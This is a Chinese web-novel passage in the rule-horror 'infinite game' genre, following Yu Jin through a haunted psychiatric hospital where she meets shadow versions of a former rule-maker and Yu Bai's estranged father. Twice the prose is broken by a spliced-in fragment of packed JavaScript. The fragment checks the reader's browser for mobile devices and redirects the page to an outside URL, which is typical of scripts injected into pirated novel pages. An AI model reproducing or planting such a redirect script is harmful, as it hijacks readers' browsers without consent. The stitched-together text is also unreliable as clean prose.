【隐藏规则二:你可以拒绝吃药,但拒绝三次后,护士会叫“医生”来帮你吃。】 【隐藏规则三:医生是这里唯一不能被拒绝的存在。】 虞锦看着那杯红色的药,没有接。 “我不吃药。”她说,“我没病。” 护士的微笑凝固了零点五秒,然后恢复如常。 “132号病人,您有严重的妄想症。”她说,“您觉得自己没病,这正是您病得最重的地方。请吃药。” “我说了,不吃。” 护士看着她,那双乳白色的眼睛里看不出任何情绪。 然后她笑了。 “好的。第一次拒绝记录。” 她从推车上拿出一个印章,在虞锦手腕上盖了一下。 手腕上浮现出一个红色的数字:1 “您还有两次机会。”护士说,“三次之后,医生会来帮您。” 她推着车,慢慢消失在走廊尽头。 虞锦低头看着手腕上的数字。 红色的“1”像烙铁一样,微微发烫。 她伸手去擦,擦不掉。 【提示:拒绝次数无法消除。累计三次后,将强制触发“医生”事件。】 行吧。虞锦在心里想,反正我也没打算老老实实吃药。 她抬起头,开始打量这条走廊。 两侧的门一扇挨着一扇,门上除了编号,还有一个小小的玻璃窗。透过玻璃窗,可以看到里面的病床——每张床上都躺着一个人,盖着白色的被子,一动不动。 但虞锦注意到—— 那些被子的胸口位置,都在微微起伏。 他们活着。 或者说,他们还“在”这里。 她走到01号门前,透过玻璃窗往里看。 病床上躺着一个老人,头发花白,脸上全是皱纹。他的眼睛睁着,直直地盯着天花板,嘴唇一张一合,一直在重复同一句话: “妈妈……妈妈……妈妈……” 虞锦的心揪了一下。 她继续往前走。 02号门里,是一个中年男人,同样睁着眼,同样在念叨:“妈妈……妈妈……” 03号,一个少年。 04号,一个婴儿——但那个婴儿的体型太大,像成年人缩小的版本,扭曲得不成人形。 每一个房间里,每一个人,都在叫妈妈。 虞锦一路走到走廊尽头,数了数,一共132扇门。 和她手腕上的数字一样。 和她今天的排名一样。 和她—— “在想什么?” 一个声音从身后传来。 虞锦回头。 一个穿病号服的女人站在她身后,脸色惨白,头发披散下来,遮住了半边脸。但露出的那半边脸—— 是虞锦自己的脸。 “你……”虞锦下意识后退一步。 “我什么?”那个“虞锦”歪着头,笑了,“我就是你啊。或者说,我是你在这里的名字。” 她抬起手,指着自己胸口的编号: 132 “每一个进来的人,都会变成这里的病人。”她说,“你会在这里看到无数个自己,老的、少的、男的、女的——因为这里收集的,是所有‘被抛弃的孩子’。” “被抛弃的孩子?”虞锦皱眉。 “你不知道吗?”那个“虞锦”走近一步,“这个副本里的病人,都是被母亲抛弃的人。有的是婴儿时期被遗弃,有的是长大后被抛弃——但不管多大,他们心里都有一个洞。” 她指着自己的心口: “那个洞,只有妈妈能填上。但妈妈不要他们了,所以他们就来到这里,一直等,一直等,等到死。” 虞锦看着她,忽然问: “那你呢?你也是被抛弃的吗?” 那个“虞锦”的表情顿了一下。 然后她笑了,笑容越来越大,大到脸都开始扭曲: “我?我是被‘你’抛弃的啊。” 她的脸开始融化,像蜡烛一样往下淌,露出底下的另一张脸—— 是林晓。 但又不完全是林晓。那张脸更年轻,更苍白,眼睛里全是疯狂。 “你不记得我了?”她问,“三年前,你把我扔在这里,自己走了。你说你会回来,但你一直没有。” 她抓住虞锦的手腕,力气大得惊人: “妈妈,你怎么现在才来?” 虞锦用力抽回手,后退几步。 “我不是你妈妈。” “你是。”那个东西盯着她,“每一个第一任的影子,都叫第一任‘妈妈’。你和她长得一模一样,你就是她——你就是我妈妈。” 她张开嘴,喉咙里发出咯咯的笑声: “妈妈回来了,我好开心。但妈妈,你为什么带着别人送你的东西?” 她盯着虞锦的口袋——那里放着林晓的护士牌。 “那个东西,不是我的。”她说,“你收了别人的东西,你是不是有别的孩子了?” 她的表情开始扭曲,温柔消失,取而代之的是疯狂的嫉妒: “不行。妈妈只能是我的。” 她扑过来—— 虞锦闪身躲开,撞开身后的一扇门,跌进房间里。 门“砰”地关上。 外面传来疯狂的砸门声,但门纹丝不动。 虞锦喘着气,抬起头。 这个房间和之前看到的都不一样。 不是病房。 而是一间办公室。 墙上挂着一张照片——一个穿白大褂的女人,抱着一个婴儿,笑得很温柔。 照片下面有一行字: “慈爱精神病院院长:林慈” 林慈。 姓林。 和林晓一样。 虞锦走近,仔细看那张照片。 那个女人的脸—— 是她自己。 不对,是那个第一任的影子。 但比刚才那个更老,更疲惫,眼角有细纹,眼神里有一种看透一切的漠然。 【叮!发现隐藏线索:慈爱精神病院的前身。】 【提示:这家医院最初是由“第一任规则制定者”创办的。她在这里研究“被抛弃者”的心理状态,试图用规则保护他们。但后来,她的研究失败了,她把这里封存,独自离开。】 【提示:她离开前,留下了自己的影子。而那个影子,在漫长的等待中,分裂成了两个——一个叫“林慈”,继承了医院的意志;一个叫“林晓”,去了外面的世界。】 虞锦的瞳孔收缩。 林晓和林慈,都是影子的分身。 而那个在走廊里追她的,是林慈——那个留在医院里的“大女儿”。 那林晓呢? 她想起那个在月子中心消失的护士长,想起她最后那个释然的笑容,想起她说的“谢谢”。 林晓解脱了。 但林慈没有。 林慈还困在这里,困在“被妈妈抛弃”的执念里,困了整整三年—— 不对。 如果第一任离开的时间,比三年前更早…… “你猜对了。” 一个声音从身后传来。 虞锦回头。 一个穿白大褂的女人站在门口,正是照片上那个。 林慈。 她的脸上没有疯狂,只有一种平静的、近乎温柔的疲惫。 “我不是她留下的第一个影子。”她说,“我是第二个。第一个,早就疯了,被关在最底层。她是‘恨’,我是‘等’。” “等什么?” “等妈妈回来。”林慈笑了,笑得很轻,“我知道她不会回来了。但我还是等。因为我除了等,没有别的事可以做。” 她走近虞锦,仔细看着她的脸: “你和她长得真像。但你比她年轻,比她……有人味儿。” 她伸手,想碰虞锦的脸。 虞锦没有躲。 林慈的手指冰凉,像死人的手。 “你能帮我一个忙吗?”她问。 “什么忙?” “杀了我。”林慈说,“我等累了。但我杀不死自己——因为我是规则的一部分。只有规则的修订者,才能结束我。” 她看着虞锦: “你能做到吗?” 【叮!触发隐藏任务:林慈的请求。】 【任务内容:结束林慈的存在。】 【任务难度:A级】 【提示:林慈不想再等了。但她是你在这里唯一的盟友。杀了她,你将失去保护;不杀她,她会一直困在这里。】 虞锦看着眼前这个女人。 她的眼睛里没有疯狂,只有深深的疲惫。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343296|199466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她等了多久?三年?五年?十年? 可能从第一任离开的那一天,她就在等。 等到现在。 等到一个和妈妈长得一模一样的人出现。 “好。”虞锦说。 林慈笑了。 那是真正的笑容,温暖的,释然的,像一个终于可以休息的人。 “谢谢。”她说,“在杀我之前,我告诉你一件事——” 她凑到虞锦耳边,轻声说了一句话。 虞锦的眼睛慢慢睁大。 “这是真的?”她问。 林慈点头。 “我亲眼看到的。”她说,“她把自己分成了三份。一份在这里,一份在外面,还有一份——” 话没说完,门被撞开了。 那个疯掉的“林慈”——真正的影子——冲了进来,眼睛里全是疯狂: “妈妈!你果然在这里!你想背着我和谁说话?!” 她看到林慈,表情变得更加扭曲: “是你!你这个叛徒!你总是想独占妈妈!” 林慈挡在虞锦面前,轻声说: “快走。从后门。” “可是你——” “我等够了。”林慈回头,对她笑了笑,“让我最后做一次有用的事。” 她冲向那个疯狂的自己。 两个影子扭打在一起。 虞锦咬咬牙,从后门冲了出去。 身后传来撕心裂肺的喊声: “妈妈——你别走——你又要丢下我——!” 然后是林慈的声音,越来越弱: “快……跑……” 门在身后关上。 虞锦站在一条新的走廊里。 和之前那条一模一样,但编号不同——这一排的门上,编号是201、202、203…… 她低下头,手腕上的数字变了。 从“132”变成了“201”。 【叮!您已进入精神病院第二层。】 【提示:第一层的守护者“林慈”已消失。第二层的守护者是——】 【“姐姐”。】 走廊尽头,一个穿红色连衣裙的小女孩站在那里。 她看起来七八岁,扎着两个羊角辫,脸蛋圆圆的,像个瓷娃娃。 但她的眼睛是纯黑色的,没有眼白。 她看着虞锦,笑了,露出两颗缺了的门牙: “妈妈,你终于来看我了。” 她张开手臂: “抱抱。” 虞锦没有动。 小女孩歪着头,笑容慢慢消失: “妈妈不抱我吗?” 她的声音变了,不再是童稚的撒娇,而是一种冰冷的、受伤的质问: “你抱了林晓,抱了林慈,就是不抱我?” “你是我第一个孩子啊。” “你怎么可以——不要我?” 走廊开始震动。 两边的门一扇扇打开,每一个房间里都走出一个人—— 都是小女孩。 不同的年龄,不同的长相,但都穿着红色的连衣裙,都有一双纯黑色的眼睛。 她们把虞锦团团围住。 最前面那个,伸出手,指着虞锦的口袋: “你身上有她们的味道。你把她们带在身上,却不愿意看我一眼。” “妈妈,你好偏心。” “那我们也把你——分成三份好不好?” 她们扑了过来。 虞锦闭上眼睛。 下一秒,她的口袋里,那块护士牌突然发烫。 一道白光炸开。 所有的“小女孩”都被白光吞没。 虞锦睁开眼睛,看到林晓站在她面前——不是鬼婴的妈妈林晓,而是月子中心的那个护士长林晓。 她穿着粉色的护士服,笑容温柔。 “别怕。”她说,“我来帮你了。” “你……不是已经……” “解脱了?”林晓笑了,“是解脱了。但我欠你一个人情。而且——” 她看向那些消失的小女孩: “这孩子,是我妹妹。我不能让她继续疯下去。” 她伸出手: “把她交给我吧。你去做你的事。” 虞锦看着她,把护士牌递过去。 林晓接过护士牌,轻轻按在心口。 护士牌融进她的身体里。 她的身后,浮现出一个巨大的、温柔的影子——那是无数妈妈的身影重叠在一起。 “妹妹。”她轻声说,“姐姐来接你了。” 那些消失的小女孩,从白光中重新出现。 但这一次,她们不再疯狂。 她们看着林晓,哭了。 “姐姐……” “姐姐你终于来了……” “姐姐我好想你……” 林晓抱住她们,一个一个,轻轻地拍着背。 “我知道,我知道。”她说,“妈妈不要我们了,但我们还有彼此。走吧,跟姐姐走。” 她回头,看了虞锦一眼: “谢谢你。” 然后她带着那些小女孩,消失在白光里。 走廊重新安静下来。 只剩下虞锦一个人,站在原地。 手腕上的数字,又变了。 从“201”变成了—— “001” 一个声音从走廊尽头传来,很轻,很温柔: “你终于来了。” 一个女人站在那里。 穿着和虞锦一模一样的衣服,有着和虞锦一模一样的脸。 但她的眼神不一样——那是看过了太多、经历了太多的疲惫。 第一任规则制定者。 或者说,她留下的最后一份影子。 “妈妈。” 她轻声说。 7. 慈安精神病院 001号房间。 和其他房间都不一样。 这里没有病床,没有铁窗,没有那些睁着眼睛叫“妈妈”的病人。只有一扇巨大的落地窗,窗外是灰白色的天空,和漂浮在空中的无数副本光柱。 一个女人站在窗前,背对着虞锦。 她穿着和虞锦一模一样的衣服——不是病号服,而是虞锦进入无限世界时穿的那身:白色T恤,浅蓝色牛仔裤,一双已经有点脏的小白鞋。 连头发长度都一样,披散到肩胛骨的位置。 如果不是知道她是“影子”,虞锦会以为自己在照镜子。 “你来了。”女人开口,声音很轻,像怕惊扰到什么,“比我想的快。” 她转过身。 那张脸——和虞锦一模一样。 但眼神不一样。 虞锦的眼神是冷静的、警惕的、带着一点观察者的距离感。而这个女人的眼神是疲惫的、空茫的,像一口枯井,深不见底,什么都照不出来。 “我应该叫你什么?”虞锦问,“第一任?影子?还是——” “叫我虞锦也行。”女人笑了,笑容里带着一丝苦涩,“反正我曾经也是。” 她走近一步,仔细看着虞锦的脸,像在看一件失而复得的珍宝。 “真年轻。”她轻声说,“真干净。眼睛里还有光。” 她伸出手,想碰虞锦的脸。 虞锦没有躲。 那只手停在半空,顿了顿,又缩了回去。 “我怕碰碎了。”她说,“太像真的了。” “我本来就是真的。”虞锦说,“你才是影子。” “影子?”女人笑了,“是啊,我是影子。但你知道影子是怎么产生的吗?” 她转身,走向落地窗,看着窗外那些光柱: “有光的地方,才有影子。我是她的影子,她是我存在的理由。但她走了,把我留在这里,一个人面对所有的黑暗。” 她回头看着虞锦: “你知道一个人待三年是什么感觉吗?” 虞锦没有回答。 “不是三年。”女人自己纠正自己,“是更久。这里的时间和外面不一样。我在这个房间,等了她——不知道多少年。十年?一百年?我数过,后来忘了。” 她指着窗外那些光柱: “那些副本,最开始只有三个。是我一个一个建起来的。D级、C级、B级、A级、S级——每一个副本的规则,都是我亲手写的。我以为她看到这些会回来,会夸我一句‘做得好’。但她没有。” 她的声音开始颤抖: “她再也没有回来。” 虞锦沉默着。 她看着眼前这个女人——这个和自己长得一模一样、却承受了完全不同命运的女人。 “所以你放出林晓和林慈,激活精神病院副本,把我引到这里——”虞锦说,“是为了什么?” 女人看着她,忽然笑了。 那笑容很奇怪,不是疯狂,不是释然,而是一种—— 如释重负。 “因为我想看看,另一个自己,会怎么选择。” “另一个自己?” “你不是我的后代,也不是我的转世。”女人说,“你是另一个世界的我——一个没有成为规则制定者的我。” 她走近,盯着虞锦的眼睛: “那个世界也有无限游戏吗?” 虞锦摇头。 “那你怎么进来的?” “不知道。”虞锦说,“我上一秒还在出租屋改简历,下一秒就出现在月子中心。” 女人沉默了。 然后她笑了,笑得很轻,很淡: “真好。你是被随机选中的。不是被抛弃的,不是被留下的,只是——运气不好。” 她转身,从窗台上拿起一个东西。 那是一张照片。 照片上是一个年轻女人,抱着一个婴儿,笑得很幸福。 那个女人,和虞锦一模一样。 那个婴儿—— “是我?”虞锦问。 “是你,也不是你。”女人说,“这是我。最开始的我。还没有成为规则制定者的我。” 她把照片递给虞锦。 照片背面写着一行字: “给我的女儿:愿你不要走上我的路。” 虞锦的手指微微收紧。 “你……有女儿?” “在那个世界有。”女人说,“但她死了。病死的。我救不了她。然后无限游戏出现了,它说只要我通关,就能复活她。我信了。” 她的声音越来越轻: “我通关了。成了最强的玩家。成了规则的制定者。但她没有复活。因为规则里没有‘复活’这一条——我亲手写的规则,我自己写的,却没有给她留一条活路。” 她看着虞锦: “你知道那种感觉吗?你变强了,成了神,但你最想救的人,永远救不回来了。” 虞锦的心揪了一下。 “所以你把我拉进来……” “不,我没有那个能力。”女人摇头,“是你自己进来的。我只是感应到了——另一个世界的我,出现了。和我一样的灵魂频率,一样的DNA,一样的……孤独。” 她伸出手,这一次,轻轻碰了碰虞锦的脸。 指尖冰凉,像死人的手。 “我想看看,如果当年我没有走上这条路,我会活成什么样。”她说,“现在我知道了。” 她笑了,眼泪顺着脸颊流下来: “你活得比我好。你有朋友——那个叫周明远的男人,愿意记住你的名字。你有敌人——那个叫郁白的男人,看你的眼神不一样。你有人愿意为你死——林晓,林慈,她们都愿意帮你。” “而我什么都没有。只有这个房间,这些规则,和永远等不到的人。” 虞锦沉默了。 良久,她问: “你想让我做什么?” 女人看着她,眼睛里有光在闪烁。 那是希望。 也是绝望。 “杀了我。”她说,“然后,代替我,成为这个世界的规则制定者。” 房间里安静得可怕。 窗外的光柱一闪一闪,像无数只眼睛在窥视。 虞锦没有回答。 她只是看着眼前这个女人——这个和她一模一样、却承受了完全不同命运的女人。 “为什么是我?” “因为没有别人了。”女人说,“规则必须有人维护。郁白他——他只能看着,不能碰。他是观察者,不是制定者。如果没有人接替我,这些规则会慢慢崩坏,所有副本都会失控,所有玩家都会死。” 她走近一步,握住虞锦的手: “你是我唯一的希望。” 虞锦低头看着那只手。 苍白,纤细,和她的手一模一样。 她忽然想起小时候妈妈说过的话: “锦锦,你要记住,这世上没有免费的午餐。所有看起来的好事,背后都有代价。” “代价是什么?”她问。 女人愣了一下。 “如果我成为规则制定者,我会失去什么?” 女人沉默了很久。 然后她说: “你会失去自由。” “什么意思?” “规则制定者不能离开这座塔。”女人说,“不能进入副本,不能接触玩家,不能有朋友,不能有——爱。” 她看向窗外,看向那些光柱: “你必须保持绝对的公正。不能偏爱任何人,不能因为任何人改变规则。否则,规则会紊乱,世界会崩溃。” 她回头看着虞锦: “你会变成我。变成这个房间里,永远等不到任何人的——影子。” 虞锦的手指慢慢收紧。 她想到了周明远,那个说“希望你走得最远”的男人。 她想到了林晓,那个最后笑着消失的女人。 她想到了郁白—— 那个看她的眼神不一样的男人。 “我不能。”她说。 女人的眼睛里闪过一丝失望,但很快消失。 “我知道。”她轻声说,“所以我没指望你答应。” 她放开虞锦的手,退后一步: “那你就走吧。从后门出去。离开这个副本,忘记这里的一切,继续做你的玩家。” “那你呢?” “我继续等。”女人笑了,笑得很轻,很淡,“反正我等了这么久,也不差这一会儿。” 她转身,重新面对那扇落地窗,看着窗外的光柱。 背影孤独得让人心疼。 虞锦站在原地,看着那个背影。 她想起了外婆。 外婆走的那天,也是这样背对着她,看着窗外,说“囡囡要好好的,活到一百岁”。 她想起了妈妈。 妈妈送她上火车的时候,也是这样背对着她,站了很久,才转身离开。 她想起了—— 很多很多人。 虞锦深吸一口气,开口: “我有个条件。” 女人的背影僵了一下。 “什么?” “规则要改。”虞锦说,“不能把制定者困在这里。你可以当观察者,当监督者,但不能当囚徒。这是第一条要修订的规则。” 女人慢慢转过身。 她的眼睛里,有什么东西在闪烁。 “你……” “第二条,”虞锦继续说,“复活机制要加上。不是随便复活,而是有代价的复活——付出足够的积分,可以复活死去的人。这样就不会再有第二个你。” 女人的嘴唇在颤抖。 “第三条,副本难度要和玩家实力匹配,不能有‘随机死亡机制’。死亡率可以高,但不能必死。要给所有人留一条活路。” “第四条——” “够了。”女人打断她,声音在发抖,“你知道你在说什么吗?这些规则,每一条都要耗费巨大的力量。你刚进来几天,你根本承受不住——” “那就慢慢改。”虞锦说,“一年改一条,十年改十条。反正我年轻,等得起。” 女人看着她,眼泪终于落下来。 “你为什么……你为什么愿意……” 虞锦想了想,说了一句实话: “因为我不想变成你。” 她走近一步,看着这个和自己一模一样的女人: “但你教会我一件事——如果规则是错的,就要改。如果制定规则的人被困住了,就要救。你说你是我,那你就应该知道——我这个人,最看不得别人一个人待着。” 女人愣住了。 然后她笑了。 那是真正的笑容,不是疲惫,不是苦涩,而是一种温暖的、释然的笑。 “你果然是我。”她说,“最傻的那个我。” 她张开手臂: “抱一下吧。我等这个拥抱,等太久了。” 虞锦沉默了一秒。 然后她上前,轻轻抱住了这个女 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“你还没死?” 女人笑了:“你盼着我死?” “盼了三年。”郁白走进来,一把抓住虞锦的手腕,“走。这里不安全。” “怎么了?” “那个疯的,”郁白说,“又出来了。” 话音刚落,走廊尽头传来一声尖叫: “妈妈——!!!” 那个穿红色连衣裙的小女孩,又出现了。 但这一次,她不是一个人。 她身后站着无数个“小女孩”——不同年龄,不同长相,但都穿着红色连衣裙,都有一双纯黑色的眼睛。 最前面那个,指着虞锦: “妈妈骗人!你说过只爱我的!但你抱了别人!” 她的手指向那个女人: “你抱了她!你还抱了林晓!你还想抱林慈!你谁都抱,就是不抱我!” 虞锦愣了一下,想说“我没有”。 但那个女人抢先开口: “她不是你妈妈。” 小女孩愣住了。 “她是你妈妈的另一个版本,”女人说,“不是你妈妈。你妈妈在这里。” 她张开手臂: “来,妈妈抱你。” 小女孩看着她,眼睛里全是迷茫。 “可是……可是你以前都不要我……” “以前是妈妈错了。”女人轻声说,“妈妈太累了,顾不上你。但现在妈妈休息好了,可以抱你了。” 小女孩站在原地,犹豫着。 她身后那些“小女孩”,也都犹豫着。 然后,最前面那个小女孩,慢慢走向那个女人。 一步一步。 每一步都带着试探。 走到面前,她抬起头,用那双纯黑色的眼睛看着女人: “真的……可以抱吗?” 女人蹲下来,张开手臂: “真的。” 小女孩扑进她怀里。 那一瞬间,她身上的红色慢慢褪去,变成了普通的粉色连衣裙。 她身后那些小女孩,也一个接一个,褪去了红色。 她们围过来,抱住了那个女人。 “妈妈……” “妈妈你终于要我们了……” “妈妈我好想你……” 女人抱着她们,抬头看了虞锦一眼。 她的眼睛里,有泪,也有笑。 口型动了动,说了两个字: “走吧。” 郁白拉着虞锦,冲出房间。 身后传来小女孩们的声音: “妈妈,那个姐姐去哪儿了?” “她啊,”女人的声音很温柔,“她去做自己的事了。我们等她回来,好不好?” “好——” 门在身后关上。 虞锦和郁白跑过走廊,跑上楼梯,跑过一层又一层。 终于,跑到第一层的时候,虞锦停下来,扶着墙喘气。 “那个小女孩……”她喘着问,“就是第三份影子?” “对。”郁白也喘,“也是最危险的那个。她是‘怨’,是所有被抛弃的情绪的集合体。之前一直被镇压在最底层,但现在——” “现在她出来了。”虞锦接过话,“因为那个女人——另一个我——主动抱了她。” 郁白看着她,眼神复杂。 “你刚才在里面,和她说了什么?” 虞锦沉默了一秒。 “没什么。”她说,“就是——两个自己,聊了聊天。” 郁白盯着她,盯了很久。 然后他笑了。 “你真是……”他摇摇头,“算了。走吧,还有44个小时。这个副本不会因为你解决了BOSS就结束。” 他转身往前走。 虞锦跟在后面。 走了几步,郁白忽然停下,头也不回地说: “虞锦。” “嗯?” “刚才那个疯的冲出来的时候,”他的声音有点闷,“我慌了。” 虞锦愣了一下。 “我活了这么久,”他说,“第一次慌。” 他没有回头,继续往前走。 虞锦站在原地,看着他的背影。 心跳,漏了一拍。 8. 慈安精神病院 阁楼的门很旧。 木头的,刷过白漆,但漆已经斑驳脱落,露出底下灰黑色的木质。门把手是铁的,锈成了暗红色,像干涸的血。 虞锦看着这扇门,忽然有一种奇怪的感觉—— 门后面,有什么东西在等她。 不是恶意,不是危险,而是一种更复杂的、说不清的情绪。 像是期待。 又像是恐惧。 郁白站在她身边,一动不动。 从刚才开始,他就没说过话。 那个阁楼里传出来的声音——那个叫“儿子”的声音——让他的表情彻底变了。 虞锦从没见过他这个样子。 一直以来,郁白都是那个掌控一切的人。他是规则的制定者,是这个世界的“神”,永远带着那种玩味的、居高临下的笑容。 但现在,他的脸上什么都没有。 不是冷静,是空白。 像一个人突然被抽走了所有情绪。 “郁白。”虞锦轻声叫他。 他没反应。 “郁白。” 她伸手,碰了碰他的手腕。 凉的。 比平时更凉。 郁白像是被这一碰惊醒,低下头,看着虞锦的手。 然后他开口,声音很哑: “你在这里等着。我进去。” “为什么?” “因为……”他顿了顿,没说完。 因为什么? 因为里面那个人太危险?因为他不想让她看到?因为他—— “因为你进去也没用。”他最终说,“这是我的事。” 虞锦看着他。 看他的眼睛——那双总是带着笑意的眼睛,现在什么都没有。 她忽然想起在001号房间里,另一个自己说的话: “郁白他——他只能看着,不能碰。他是观察者,不是制定者。” 观察者。 只能看着,不能碰。 那如果被观察的对象,是他自己呢? “好。”虞锦说,“我在这儿等你。” 郁白看了她一眼,眼神里闪过一丝意外。 他大概以为她会坚持跟进去。 但她没有。 “十分钟。”虞锦说,“十分钟不出来,我就进去找你。” 郁白沉默了一秒。 然后他点了点头,推开那扇门,走进去。 门在身后关上。 虞锦靠在墙上,开始数秒。 门后面是一条很短的走廊。 短到只有三步,就走到了另一个房间。 一个很小的房间,只有一张床,一把椅子,一扇窗户。 床上坐着一个人。 穿着病号服,蓝白条纹的,和所有病人一样。但他的病号服很旧,洗得发白,边角都磨破了。 他背对着门,看着窗外。 窗外是灰白色的天空,和那些永不停歇的副本光柱。 郁白站在门口,没有动。 “你来了。”那个人说,声音苍老得像风中的枯叶,“我算着日子,你也该来了。” 他慢慢转过身。 那是一张和郁白一模一样的脸。 但更老。 老了很多。 眼角全是皱纹,皮肤松弛地挂在颧骨上,头发花白,乱糟糟地堆在头顶。眼睛浑浊,像蒙了一层雾。 但那双眼睛的形状,那个鼻梁,那张脸—— 和郁白一模一样。 “怎么,不认得你爹了?”老人笑了,露出几颗发黄的牙,“也是,我变成这样,你认不出来也正常。” 郁白没有说话。 老人看着他,浑浊的眼睛里闪过一丝什么。 是怀念? 还是别的什么? “你上次来,还是……”他想了想,“多久了?我记不清了。这里的时间过得太慢,又太快。慢到一天像一年,快到一年像一天。” 他拍了拍床沿: “坐吧。站着不累吗?” 郁白没有动。 老人也不介意,自顾自地说下去: “你小时候就这样,倔。让你坐你偏站着,让你站着你偏坐着。我还打过你几次,记得吗?” 郁白的睫毛动了一下。 “记得。”他终于开口,声音很哑,“你用皮带抽的。因为我偷吃了你的药。” 老人愣了一下。 然后他笑了,笑得很开心,笑得眼泪都出来了: “你还记得!你居然还记得!我以为你早忘了!” 他笑得直咳嗽,咳完了,擦了擦眼角: “那药是假的。我故意放在那儿让你偷吃的。你偷吃了,我就有理由打你——打完了,你才能记住,不能随便碰别人的东西。” 郁白看着他,眼神复杂。 “你从小就不听话。”老人继续说,“我说东你往西,我说西你往东。后来我懒得说了,反正说了也没用。你爱干啥干啥去。” 他抬头,看着郁白: “然后你就真的走了。走了好久好久。久到我以为你死了。” 郁白沉默着。 “你没死,挺好的。”老人点点头,“那你现在干什么呢?娶媳妇了吗?生孩子了吗?” 郁白终于动了。 他往前走了一步,站在老人面前,低头看着他: “你为什么会在这里?” 老人眨了眨眼: “你不知道?” “知道什么?” 老人看着他,看了很久。 然后他叹了口气: “你真不知道。她没告诉你。” “谁?” “第一任。”老人说,“那个和你一样的女人。” 郁白的瞳孔微微收缩。 “是她把我关在这里的。”老人说,“很久很久以前,久到你还没出生。” 他指了指自己的脑袋: “因为我知道太多。我知道规则是怎么来的,知道她是从哪儿来的,知道这个世界是怎么建起来的。她怕我说出去,就把我关在这儿。” “关了多久?” “不知道。”老人摇头,“我说了,这里的时间不对。可能十年,可能一百年,可能一千年。反正我出不去。” 他看着郁白,忽然笑了: “但现在你来了。你可以带我出去。” 郁白没有说话。 老人的笑容慢慢消失: “你不想带我出去?” “我……” “你恨我。”老人替他说出来,“你恨我小时候打你,恨我不管你,恨我让你一个人——所以你不想带我出去。” 郁白沉默。 沉默就是默认。 老人低下头,看着自己的手。那双手干枯得像树枝,指甲又长又黄,卷曲着。 “你应该恨我。”他说,“我不是个好爹。我老婆死了之后,我就疯了。我把你当出气筒,打你骂你,然后自己躲在屋里哭。你小时候肯定觉得我特别没用。” 他抬起头: “但你知道我为什么疯吗?” 郁白没有回答。 “因为你妈。”老人说,“她死的时候,我才知道,原来人死了就是真的死了,再也回不来了。我以为她只是出门,会回来的。但她没有。” 他的眼睛里有泪光在闪: “我等了她好久好久。等得头发白了,等得腿走不动了,她才没有回来。然后我就疯了。” 他指着窗外: “这个世界,这个无限游戏,这个规则之城——都是因为她。她死了,第一任出现了,建了这些东西。你知道为什么吗?” 郁白看着他,等着他说下去。 “因为第一任也想复活一个人。”老人说,“她女儿。和你妈一样,死了就再也回不来了。” 他笑了,笑得很苦: “我们都是被死人困住的人。” 房间里安静了很久。 然后郁白开口,声音很轻: “我妈是怎么死的?” 老人看着他,眼神里闪过一丝复杂: “你真想听?” “想。” 老人沉默了几秒。 然后他说: “生你的时候死的。难产。医生问她保大保小,她说保小。然后就死了。” 郁白愣住了。 “你一直以为她是不想要你,对吧?”老人说,“以为她丢下你走了。其实不是。她是想让你活着。” 他站起来,走到郁白面前。 他比郁白矮了半个头,背也驼了,但站在郁白面前,他努力挺直了腰: “我不该瞒你。但我不知道怎么开口。每次想告诉你,看着你的脸,就说不出来。你长得太像她了。” 他伸手,想碰郁白的脸。 郁白没有躲。 那只干枯的手停在半空,犹豫了一下,轻轻落在郁白脸上。 “儿子。”老人说,“对不起。” 郁白低着头,看不清表情。 但虞锦如果在这里,会看到他垂在身侧的手,在微微发抖。 十分钟到了。 虞锦推开门。 她看见郁白站在房间中央,面前是一个老人。 那个老人——长得和郁白一模一样。 而郁白低着头,一动不动。 “郁白?”她轻声叫。 郁白抬起头。 他的眼睛是红的。 但没有哭。 他看着虞锦,张了张嘴,想说什么。 但没说出来。 老人看到虞锦,眼睛亮了一下: “哎呀,这是谁?你媳妇?” 郁白愣了一下。 虞锦也愣了一下。 “不是。”郁白说,“是……” 是什么? 合作伙伴?朋友?还是—— “是我想带出去的人。”他说。 老人看看郁白,又看看虞锦,笑了: “行,行。你小子总算有点出息。” 他转身,从枕头底下摸出一个东西,递给虞锦。 是一枚戒指。银色的,很旧,上面刻着一朵小花。 “这是她妈的。”他说,“本来想给儿媳妇的,一直没机会送出去。现在给你。” 虞锦看着那枚戒指,没有接。 “我不是……” “拿着。”老人把戒指塞进她手里,“我看得出来,这小子看你的眼神不一样。和看他妈一样。” 虞锦拿着那枚戒指,转头看郁白。 郁白没说话。 但他没有否认。 老人看着他们俩,笑得更开心了: “行了行了,你们走吧。我在这儿待惯了,出去反而不适应。” 郁白看着他: “你不想出去?” “想啊。”老人说,“但我知道自己出不去。我被关在这儿太久了,身体早就和这个地方长在一起了。出去了反而会散。” 他摆摆手: “走吧。有空来看看我就行。” 郁白站在原地,没动。 老人叹了口气: “别磨蹭了。外面那个穿红裙子的小丫头还在等你们呢。她可比我有耐心。” 话音刚落,楼下传来一声尖叫: “妈妈——!!!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我?我没有名字。妈妈没给起。” “那我给你起一个。”虞锦想了想,“叫小慈。你姐姐叫林慈,你就叫小慈。好不好?” 小女孩的眼睛亮了起来: “小慈……小慈……我有名字了!我叫小慈!” 她转身,对着身后那群小女孩喊: “我有名字了!我叫小慈!” 那群小女孩都笑起来,笑着笑着,身体开始变淡。 “妈妈在叫我们。”小慈说,“我们要回去了。姐姐——再见!” 她们消失了。 走廊重新变得空空荡荡。 只剩下虞锦和郁白,手还握在一起。 虞锦低头看了看,轻轻抽回手。 郁白的掌心空了一下。 “走吧。”虞锦说,“还有30个小时。” 郁白看着她,忽然问: “你为什么给她们起名字?” 虞锦想了想: “因为她们该有名字。” “就这么简单?” “就这么简单。” 郁白沉默了几秒。 然后他笑了。 那是真正的笑容,不是玩味,不是观察,而是—— 温暖。 